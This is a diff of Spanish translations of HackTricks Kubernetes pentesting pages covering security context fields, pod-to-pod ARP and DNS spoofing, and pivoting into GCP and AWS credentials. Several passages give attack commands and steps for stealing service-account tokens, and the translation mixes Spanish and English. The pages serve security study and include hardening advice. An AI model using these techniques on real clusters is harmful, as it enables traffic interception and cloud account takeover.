cuenta que, cuando un atributo está definido tanto en **SecurityContext** como en **PodSecurityContext**, el valor especificado en **SecurityContext** tiene **precedence**. -|

allowPrivilegeEscalation
booleano

| **AllowPrivilegeEscalation** controla si un proceso puede **obtener más privilegios** que su proceso padre. Este booleano controla directamente si se establecerá la bandera no_new_privs en el proceso del contenedor. AllowPrivilegeEscalation es verdadero siempre que el contenedor se ejecute como **Privileged** o tenga **CAP_SYS_ADMIN** | +|

allowPrivilegeEscalation
boolean

| **AllowPrivilegeEscalation** controla si un process puede **gain more privileges** que su parent process. Este bool controla directamente si el flag no_new_privs se establecerá en el container process. AllowPrivilegeEscalation siempre es true cuando el container se ejecuta como **Privileged** o tiene **CAP_SYS_ADMIN** | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -|

capabilities
Capabilities
Más información sobre Capabilities

| Las **capacidades para agregar/eliminar al ejecutar contenedores**. Por defecto, se utiliza el conjunto predeterminado de capacidades. | -|

privileged
booleano

| Ejecutar el contenedor en modo privilegiado. Los procesos en contenedores privilegiados son esencialmente **equivalentes a root en el host**. Por defecto, es falso. | -|

procMount
cadena

| procMount denota el **tipo de montaje proc a usar para los contenedores**. El valor predeterminado es DefaultProcMount, que utiliza los valores predeterminados del tiempo de ejecución del contenedor para rutas de solo lectura y rutas enmascaradas. | -|

readOnlyRootFilesystem
booleano

| Si este **contenedor tiene un sistema de archivos raíz de solo lectura**. El valor predeterminado es falso. | -|

runAsGroup
entero

| El **GID para ejecutar el punto de entrada** del proceso del contenedor. Usa el valor predeterminado de tiempo de ejecución si no se establece. | -|

runAsNonRoot
booleano

| Indica que el contenedor debe **ejecutarse como un usuario no root**. Si es verdadero, el Kubelet validará la imagen en tiempo de ejecución para asegurarse de que no se ejecute como UID 0 (root) y fallará al iniciar el contenedor si lo hace. | -|

runAsUser
entero

| El **UID para ejecutar el punto de entrada** del proceso del contenedor. Por defecto, se utiliza el usuario especificado en los metadatos de la imagen si no se especifica. | -|

seLinuxOptions
SELinuxOptions
Más información sobre seLinux

| El **contexto SELinux que se aplicará al contenedor**. Si no se especifica, el tiempo de ejecución del contenedor asignará un contexto SELinux aleatorio para cada contenedor. | -|

seccompProfile
SeccompProfile

| Las **opciones seccomp** que usará este contenedor. | -|

windowsOptions
WindowsSecurityContextOptions

| La **configuración específica de Windows** aplicada a todos los contenedores. | +|

capabilities
Capabilities
More info about Capabilities

| Las **capabilities to add/drop when running containers**. Por defecto usa el conjunto de capabilities por defecto. | +|

privileged
boolean

| Ejecuta el container en modo privileged. Los procesos en containers privileged son, esencialmente, **equivalent to root on the host**. Por defecto es false. | +|

procMount
string

| procMount indica el **type of proc mount to use for the containers**. El valor por defecto es DefaultProcMount, que usa los valores por defecto del container runtime para readonly paths y masked paths. | +|

readOnlyRootFilesystem
boolean

| Si este **container has a read-only root filesystem**. El valor por defecto es false. | +|

runAsGroup
integer

| El **GID to run the entrypoint** del container process. Usa el valor por defecto del runtime si no se establece. | +|

runAsNonRoot
boolean

| Indica que el container debe **run as a non-root user**. Si es true, el Kubelet validará la image en tiempo de ejecución para asegurarse de que no se ejecute como UID 0 (root) y fallará al iniciar el container si lo hace. | +|

runAsUser
integer

| El **UID to run the entrypoint** del container process. Por defecto usa el usuario especificado en los metadatos de la image si no se indica. | +|

seLinuxOptions
SELinuxOptions
More info about seLinux

| El **SELinux context to be applied to the container**. Si no se especifica, el runtime del container asignará un SELinux context aleatorio para cada container. | +|

seccompProfile
SeccompProfile

| Las **seccomp options** to use by this container. | +|

windowsOptions
WindowsSecurityContextOptions

| Los **Windows specific settings** aplicados a todos los containers. | -## Referencias +## Practical workload review checklist + +Cuando revises un Pod o una plantilla de workload, inspecciona tanto `spec.securityContext` como cada `securityContext` a nivel de container bajo `containers`, `initContainers` y `ephemeralContainers`. Los campos a nivel de container pueden sobrescribir los valores por defecto del pod, así que un default del pod que parezca seguro no garantiza que cada container lo sea. + +Combinaciones de alto riesgo a priorizar: + +- `privileged: true`, especialmente con `hostPID`, `hostIPC`, `hostNetwork`, `hostPath`, host ports o runtime socket mounts. +- Capabilities añadidas como `SYS_ADMIN`, `NET_ADMIN`, `SYS_PTRACE`, `SYS_MODULE`, `DAC_READ_SEARCH` o `DAC_OVERRIDE`. +- `allowPrivilegeEscalation: true` o sin definir en containers que puedan ejecutar código controlado por un atacante. +- `seccompProfile: Unconfined`, `procMount: Unmasked` o perfiles de runtime ausentes en workloads sensibles. +- Root filesystems con escritura habilitada o montajes de volume amplios y escribibles en workloads que procesan entrada no confiable. +- Falta de requests y limits de CPU, memory o ephemeral-storage en namespaces multi-tenant. + +Para la mayoría de application workloads, una buena base es ejecutar con un UID no root, establecer `runAsNonRoot: true`, establecer `allowPrivilegeEscalation: false`, eliminar todas las capabilities y volver a añadir solo las mínimas necesarias, usar `seccompProfile: RuntimeDefault`, preferir un root filesystem de solo lectura y evitar host namespaces, hostPath mounts y privileged mode. + +A nivel de cluster, usa etiquetas de namespace de [Pod Security Admission](https://kubernetes.io/docs/concepts/security/pod-security-admission/) para aplicar los [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) de Kubernetes donde sea posible. Usa `restricted` para namespaces que lo soporten, al menos `baseline` para namespaces de aplicaciones normales, y mantén las excepciones privileged reducidas, documentadas y aisladas en trusted platform namespaces o node pools. + +## References - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core) - [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core) +- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +- [https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/](https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/) +- [https://kubernetes.io/docs/concepts/security/pod-security-standards/](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +- [https://kubernetes.io/docs/concepts/security/pod-security-admission/](https://kubernetes.io/docs/concepts/security/pod-security-admission/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index de7ff2e60..d5c75e689 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -4,16 +4,16 @@ ## Introducción -En Kubernetes, se observa que un comportamiento predeterminado permite el establecimiento de conexiones entre **todos los contenedores que residen en el mismo nodo**. Esto se aplica independientemente de las distinciones de espacio de nombres. Tal conectividad se extiende hasta **Capa 2** (Ethernet). En consecuencia, esta configuración potencialmente expone al sistema a vulnerabilidades. Específicamente, abre la posibilidad de que un **contenedor malicioso** ejecute un **ataque de suplantación ARP** contra otros contenedores situados en el mismo nodo. Durante tal ataque, el contenedor malicioso puede interceptar o modificar engañosamente el tráfico de red destinado a otros contenedores. +En Kubernetes, se observa que un comportamiento por defecto permite el establecimiento de conexiones entre **todos los containers que residen en el mismo node**. Esto aplica sin importar las diferencias de namespace. Esta conectividad llega hasta **Layer 2** (Ethernet). En consecuencia, esta configuración expone potencialmente el sistema a vulnerabilidades. Específicamente, abre la posibilidad de que un **malicious container** ejecute un **ARP spoofing attack** contra otros containers situados en el mismo node. Durante un ataque de este tipo, el malicious container puede interceptar o modificar de forma engañosa el tráfico de red destinado a otros containers. -Los ataques de suplantación ARP implican que el **atacante envíe mensajes ARP falsificados** (Protocolo de Resolución de Direcciones) a través de una red de área local. Esto resulta en la vinculación de la **dirección MAC del atacante con la dirección IP de una computadora o servidor legítimo en la red**. Después de la ejecución exitosa de tal ataque, el atacante puede interceptar, modificar o incluso detener datos en tránsito. El ataque se ejecuta en la Capa 2 del modelo OSI, razón por la cual la conectividad predeterminada en Kubernetes en esta capa plantea preocupaciones de seguridad. +Los ARP spoofing attacks implican que el **attacker envíe mensajes ARP falsificados** (Address Resolution Protocol) a través de una red local. Esto da como resultado la asociación de la **MAC address del attacker con la IP address de una computadora o servidor legítimo en la red**. Tras ejecutar con éxito un ataque de este tipo, el attacker puede interceptar, modificar o incluso detener los datos en tránsito. El ataque se ejecuta en Layer 2 del modelo OSI, por lo que la conectividad por defecto en Kubernetes en esta layer plantea preocupaciones de seguridad. -En el escenario se van a crear 4 máquinas: +En el escenario se van a crear 4 machines: -- ubuntu-pe: Máquina privilegiada para escapar al nodo y verificar métricas (no necesaria para el ataque) -- **ubuntu-attack**: Contenedor **malicioso** en el espacio de nombres predeterminado -- **ubuntu-victim**: Máquina **víctima** en el espacio de nombres kube-system -- **mysql**: Máquina **víctima** en el espacio de nombres predeterminado +- ubuntu-pe: Machine privilegiada para escapar al node y comprobar métricas (no necesaria para el ataque) +- **ubuntu-attack**: container **Malicious** en el namespace default +- **ubuntu-victim**: machine **Victim** en el namespace kube-system +- **mysql**: machine **Victim** en el namespace default ```yaml echo 'apiVersion: v1 kind: Pod @@ -96,22 +96,22 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` -## Redes Básicas de Kubernetes +## Basic Kubernetes Networking -Si deseas más detalles sobre los temas de redes introducidos aquí, consulta las referencias. +Si quieres más detalles sobre los temas de networking introducidos aquí, ve a las referencias. ### ARP -En términos generales, **la red de pod a pod dentro del nodo** está disponible a través de un **puente** que conecta todos los pods. Este puente se llama “**cbr0**”. (Algunos complementos de red instalarán su propio puente.) El **cbr0 también puede manejar ARP** (Protocolo de Resolución de Direcciones). Cuando un paquete entrante llega a cbr0, puede resolver la dirección MAC de destino utilizando ARP. +En términos generales, **pod-to-pod networking inside the node** está disponible a través de un **bridge** que conecta todos los pods. Este bridge se llama “**cbr0**”. (Algunos network plugins instalarán su propio bridge.) El **cbr0 también puede manejar ARP** (Address Resolution Protocol) resolution. Cuando un paquete entrante llega a cbr0, puede resolver la dirección MAC de destino usando ARP. -Este hecho implica que, por defecto, **cada pod que se ejecuta en el mismo nodo** podrá **comunicarse** con cualquier otro pod en el mismo nodo (independientemente del espacio de nombres) a nivel de ethernet (capa 2). +Este hecho implica que, por defecto, **cada pod ejecutándose en el mismo node** va a poder **communicate** con cualquier otro pod en el mismo node (independientemente del namespace) a nivel ethernet (layer 2). > [!WARNING] -> Por lo tanto, es posible realizar ataques de **ARP Spoofing entre pods en el mismo nodo.** +> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.** ### DNS -En entornos de kubernetes, generalmente encontrarás 1 (o más) **servicios DNS en ejecución** usualmente en el espacio de nombres kube-system: +En entornos kubernetes normalmente encontrarás 1 (o más) **DNS services running** normalmente en el namespace kube-system: ```bash kubectl -n kube-system describe services Name: kube-dns @@ -136,27 +136,30 @@ Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` -En la información anterior puedes ver algo interesante, la **IP del servicio** es **10.96.0.10** pero la **IP del pod** que ejecuta el servicio es **172.17.0.2.** +En la información anterior puedes ver algo interesante: la **IP del service** es **10.96.0.10**, pero la **IP del pod** que ejecuta el service es **172.17.0.2**. -Si verificas la dirección DNS dentro de cualquier pod, encontrarás algo como esto: +Si compruebas la dirección DNS dentro de cualquier pod, encontrarás algo como esto: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` -Sin embargo, el pod **no sabe** cómo llegar a esa **dirección** porque el **rango de pods** en este caso es 172.17.0.10/26. +However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26. -Por lo tanto, el pod enviará las **solicitudes DNS a la dirección 10.96.0.10** que será **traducida** por el cbr0 **a** **172.17.0.2**. +Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**. > [!WARNING] -> Esto significa que una **solicitud DNS** de un pod **siempre** irá al **puente** para **traducir** la **IP del servicio a la IP del endpoint**, incluso si el servidor DNS está en la misma subred que el pod. +> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod. > -> Sabiendo esto, y sabiendo que **los ataques ARP son posibles**, un **pod** en un nodo podrá **interceptar el tráfico** entre **cada pod** en la **subred** y el **puente** y **modificar** las **respuestas DNS** del servidor DNS (**DNS Spoofing**). +> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**). > -> Además, si el **servidor DNS** está en el **mismo nodo que el atacante**, el atacante puede **interceptar todas las solicitudes DNS** de cualquier pod en el clúster (entre el servidor DNS y el puente) y modificar las respuestas. +> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses. -## ARP Spoofing en pods en el mismo Nodo +> [!NOTE] +> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism. -Nuestro objetivo es **robar al menos la comunicación del ubuntu-victim al mysql**. +## ARP Spoofing en pods en el mismo Node + +Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**. ### Scapy ```bash @@ -233,11 +236,11 @@ arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing -Como ya se mencionó, si **comprometes un pod en el mismo nodo del pod del servidor DNS**, puedes **MitM** con **ARPSpoofing** el **puente y el pod DNS** y **modificar todas las respuestas DNS**. +Como ya se mencionó, si **comprometes un pod en el mismo nodo del pod del DNS server**, puedes hacer **MitM** con **ARPSpoofing** del **bridge** y del pod de **DNS** y **modificar todas las respuestas DNS**. -Tienes una muy buena **herramienta** y **tutorial** para probar esto en [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) +Tienes una muy buena **tool** y **tutorial** para probar esto en [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) -En nuestro escenario, **descarga** la **herramienta** en el pod atacante y crea un **archivo llamado `hosts`** con los **dominios** que deseas **spoof** como: +En nuestro escenario, **descarga** la **tool** en el pod atacante y crea un **archivo llamado `hosts`** con los **domains** que quieres **spoof** como: ``` cat hosts google.com. 1.1.1.1 @@ -260,26 +263,28 @@ dig google.com google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] -> Si intentas crear tu propio script de suplantación de DNS, si **solo modificas la respuesta de DNS** eso **no** va a **funcionar**, porque la **respuesta** va a tener una **src IP** la dirección IP del **pod** **malicioso** y **no será** **aceptada**.\ -> Necesitas generar un **nuevo paquete DNS** con la **src IP** del **DNS** donde la víctima envía la solicitud DNS (que es algo como 172.16.0.2, no 10.96.0.10, esa es la IP del servicio DNS de K8s y no la IP del servidor DNS, más sobre esto en la introducción). +> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\ +> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction). -## Suplantación de DNS a través del configmap de coreDNS +## DNS Spoofing via coreDNS configmap -Un usuario con permisos de escritura sobre el configmap `coredns` en el namespace kube-system puede modificar las respuestas DNS del clúster. +Un usuario con permisos de escritura sobre el configmap `coredns` en el namespace kube-system puede modificar las respuestas DNS del cluster. -Consulta más información sobre este ataque en: +Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed. + +Check more information about this attack in: {{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} -## Abusando de servicios de gestión de kubernetes expuestos +## Abusing exposed kubernetes management services -Servicios como Apache NiFi, Kubeflow, Argo Workflows, Weave Scope y el panel de control de Kubernetes a menudo están expuestos ya sea a internet o dentro de la red de kubernetes. Un atacante que logre **encontrar cualquier plataforma utilizada para gestionar kubernetes y acceder a ella** puede abusar de esto para obtener acceso a la API de kubernetes y realizar acciones como crear nuevos pods, modificar los existentes o incluso eliminarlos. +Servicios como Apache NiFi, Kubeflow, Argo Workflows, Weave Scope y el Kubernetes dashboard suelen estar expuestos ya sea a internet o dentro de la kubernetes network. Un atacante que logre **find any platform used to manage kubernetes and access it** can abuse it to get access to the kubernetes API y perform actions like creating new pods, modifying existing ones, or even deleting them. -## Enumerando políticas de red de kubernetes +## Enumerating kubernetes network policies -Obtén **networkpolicies** configuradas: +Obtener **networkpolicies** configuradas: ```bash kubectl get networkpolicies --all-namespaces ``` @@ -291,16 +296,16 @@ Obtener políticas de red de **Cillium**: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` -Obtén otros CRDs relacionados con políticas instalados por tu complemento de red o solución de seguridad: +Obtén otros CRDs relacionados con políticas instalados por tu network plugin o security solution: ```bash kubectl get crd | grep -i policy ``` -## Capturando Tráfico +## Capturing Traffic -La herramienta [**Mizu**](https://github.com/up9inc/mizu) es un visor de tráfico de API **simple pero poderoso para Kubernetes** que te permite **ver toda la comunicación de API** entre microservicios para ayudarte a depurar y solucionar regresiones.\ -Instalará agentes en los pods seleccionados y recopilará su información de tráfico para mostrártela en un servidor web. Sin embargo, necesitarás altos permisos de K8s para esto (y no es muy sigiloso). +La herramienta [**Mizu**](https://github.com/up9inc/mizu) es un simple pero potente API **traffic viewer for Kubernetes** que te permite **ver toda la comunicación API** entre microservices para ayudarte a depurar y solucionar regressions.\ +Instalará agents en los pods seleccionados y recopilará su información de traffic y te la mostrará en un web server. Sin embargo, necesitarás altos permisos de K8s para esto (y no es muy stealthy). -## Referencias +## References - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 44449c0bc..21ce19312 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,62 +4,62 @@ ## GCP -Si estás ejecutando un cluster k8s dentro de GCP probablemente querrás que alguna aplicación que se ejecute dentro del cluster tenga acceso a GCP. Hay 2 formas comunes de hacerlo: +Si estás ejecutando un cluster k8s dentro de GCP, probablemente querrás que alguna aplicación que se ejecute dentro del cluster tenga acceso a GCP. Hay 2 formas comunes de hacerlo: ### Mounting GCP-SA keys as secret -Una forma común de dar **acceso a una aplicación de kubernetes a GCP** es: +Una forma común de dar **access a una kubernetes application to GCP** es: - Crear un GCP Service Account - Asignarle los permisos deseados - Descargar una json key de la SA creada - Montarla como un secret dentro del pod -- Configurar la variable de entorno GOOGLE_APPLICATION_CREDENTIALS apuntando a la ruta donde está el json. +- Establecer la variable de entorno GOOGLE_APPLICATION_CREDENTIALS apuntando a la ruta donde está el json. > [!WARNING] -> Por lo tanto, como **attacker**, si comprometes un contenedor dentro de un pod, deberías comprobar esa **env** **variable** y **json** **files** con credenciales de GCP. +> Por lo tanto, como **attacker**, si comprometes un container dentro de un pod, deberías revisar esa **env** **variable** y los **json** **files** con credenciales de GCP. ### Relating GSA json to KSA secret -Una manera de dar acceso a una GSA a un clúster GKE es vinculándolas de esta manera: +Una forma de dar acceso a una GSA a un GKE cluser es enlazándolos de esta manera: -- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command: +- Crear una Kubernetes service account en el mismo namespace que tu cluster GKE usando el siguiente comando: ```bash kubectl create serviceaccount ``` -- Crea un Kubernetes Secret que contenga las credenciales del service account de GCP al que quieres conceder acceso al GKE cluster. Puedes hacerlo usando la herramienta de línea de comandos `gcloud`, como se muestra en el siguiente ejemplo: +- Crea un Kubernetes Secret que contenga las credenciales de la cuenta de servicio de GCP a la que quieras conceder acceso al cluster de GKE. Puedes hacer esto usando la herramienta de línea de comandos `gcloud`, como se muestra en el siguiente ejemplo: ```bash gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- Vincula el Kubernetes Secret a la Kubernetes service account usando el siguiente comando: +- Vincula el Kubernetes Secret al Kubernetes service account usando el siguiente comando: ```bash kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> En el **segundo paso** se configuraron las **credenciales del GSA como secret del KSA**. Entonces, si puedes **leer ese secret** desde **dentro** del **cluster GKE**, puedes **escalar a esa cuenta de servicio GCP**. +> En el **segundo paso** se establecieron las **credenciales de la GSA como secreto de la KSA**. Entonces, si puedes **leer ese secreto** desde **dentro** del clúster **GKE**, puedes **escalar a esa cuenta de servicio de GCP**. ### GKE Workload Identity -Con Workload Identity, podemos configurar un [Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para actuar como un [Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Los pods que se ejecuten con la Kubernetes service account se autenticarán automáticamente como la Google service account al acceder a Google Cloud APIs. +Con Workload Identity, podemos configurar una[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para actuar como una[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Los Pods que se ejecutan con la Kubernetes service account se autenticarán automáticamente como la Google service account al acceder a las APIs de Google Cloud. -Los **primeros pasos** para habilitar este comportamiento son **habilitar Workload Identity en GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) y crear la GCP SA que quieras que k8s suplante. +La **primera serie de pasos** para habilitar este comportamiento es **habilitar Workload Identity en GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) y crear la GCP SA que quieres que k8s impersonate. -- **Habilitar Workload Identity** en un nuevo cluster +- **Enable Workload Identity** en un nuevo cluster ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **Crear/Actualizar un nuevo nodepool** (los Autopilot clusters no necesitan esto) +- **Crear/Actualizar un nuevo nodepool** (los clusters Autopilot no necesitan esto) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- Crear la **GCP Service Account para suplantar** desde K8s con permisos de GCP: +- Crea el **GCP Service Account to impersonate** desde K8s con permisos de GCP: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Conéctate** al **cluster** y **crea** la **service account** a usar +- **Conectar** al **cluster** y **crear** la **service account** para usar ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **Vincular la GSA con la KSA** +- **Vincular el GSA con el KSA** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> Como atacante dentro de K8s deberías **buscar SAs** con la **`iam.gke.io/gcp-service-account` anotación** ya que eso indica que el SA puede acceder a algo en GCP. Otra opción sería intentar abusar de cada KSA en el cluster y comprobar si tiene acceso.\ -> Desde GCP siempre es interesante enumerar los bindings y saber **qué acceso les estás dando a los SAs dentro de Kubernetes**. +> Como atacante dentro de K8s deberías **buscar SAs** con la anotación **`iam.gke.io/gcp-service-account`** ya que eso indica que la SA puede acceder a algo en GCP. Otra opción sería intentar abusar de cada KSA en el cluster y comprobar si tiene acceso.\ +> Desde GCP siempre es interesante enumerar los bindings y saber **qué acceso estás dando a las SAs dentro de Kubernetes**. -Este es un script para iterar fácilmente sobre todas las definiciones de pods buscando esa anotación: +Este es un script para **iterar fácilmente sobre todas las definiciones de pods** **buscando** esa **anotación**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (IAM role for Pods) -Una forma (obsoleta) de dar IAM Roles a los Pods es usar un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servidor.** Básicamente necesitarás ejecutar un **daemonset** en tu clúster con un **rol IAM privilegiado**. Este daemonset será el que otorgue acceso a IAM roles a los pods que lo necesiten. +Una forma (obsoleta) de dar IAM Roles a Pods es usar un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Básicamente necesitarás ejecutar un **daemonset** en tu cluster con un **kind of privileged IAM role**. Este daemonset será el que dará acceso a IAM roles a los pods que lo necesiten. -Primero debes configurar **qué roles pueden ser accedidos dentro del namespace**, y eso se hace con una anotación dentro del objeto namespace: +Antes que nada necesitas configurar **qué roles pueden ser accedidos dentro del namespace**, y eso se hace con una annotation dentro del objeto namespace: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Una vez que el namespace esté configurado con los IAM roles que los Pods pueden tener, puedes **indicar el role que quieres en cada definición de pod con algo como**: +Una vez que el namespace está configurado con los roles IAM que los Pods pueden tener, puedes **indicar el rol que quieres en cada definición de pod con algo como**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Como atacante, si **encuentras estas anotaciones** en pods o namespaces o un servidor kiam/kube2iam en ejecución (probablemente en kube-system) puedes **suplantar cada r**ol que ya está **usado por los pods** y más (si tienes acceso a la cuenta de AWS, enumera los roles). +> Como atacante, si **encuentras estas annotations** en pods o namespaces o un servidor kiam/kube2iam en ejecución (en kube-system probablemente) puedes **impersonate every r**ole que ya está **used by pods** y más (si tienes acceso a la cuenta de AWS enumera los roles). #### Create Pod with IAM Role > [!NOTE] -> El IAM role que se indique debe estar en la misma cuenta de AWS que el role de kiam/kube2iam y ese role debe poder acceder a él. +> El IAM role que indiques debe estar en la misma cuenta de AWS que el role de kiam/kube2iam y ese role debe poder acceder a él. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role for K8s Service Accounts via OIDC +### IAM Role para K8s Service Accounts via OIDC Esta es la **forma recomendada por AWS**. -1. Primero necesitas [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. Luego creas un IAM role con los permisos que la SA requerirá. -3. Crea una [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (o con los namespaces para dar acceso al role a todas las SAs del namespace). _La trust relationship comprobará principalmente el nombre del proveedor OIDC, el nombre del namespace y el nombre de la SA_. -4. Finalmente, **create a SA with an annotation indicating the ARN of the role**, y los pods que se ejecuten con esa SA tendrán **access to the token of the role**. El **token** está **written** dentro de un archivo y la ruta se especifica en **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. Primero necesitas [crear un OIDC provider para el cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +2. Luego creas un IAM role con los permisos que requerirá el SA. +3. Crea una [trust relationship entre el IAM role y el nombre del SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (o los namespaces dando acceso al role a todos los SAs del namespace). _La trust relationship comprobará principalmente el nombre del OIDC provider, el nombre del namespace y el nombre del SA_. +4. Finalmente, **crea un SA con una annotation indicando el ARN del role**, y los pods ejecutándose con ese SA tendrán **acceso al token del role**. El **token** se **escribe** dentro de un file y el path se especifica en **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Como atacante, si puedes enumerar un cluster K8s, busca **service accounts con esa anotación** para **escalar a AWS**. Para hacerlo, simplemente **exec/create** un **pod** usando una de las IAM **privileged service accounts** y roba el token. +> Como atacante, si puedes enumerar un cluster K8s, busca **service accounts con esa anotación** para **escalar a AWS**. Para hacerlo, simplemente **exec/create** un **pod** usando uno de los IAM **privileged service accounts** y roba el token. > -> Además, si estás dentro de un pod, revisa variables de entorno como **AWS_ROLE_ARN** y 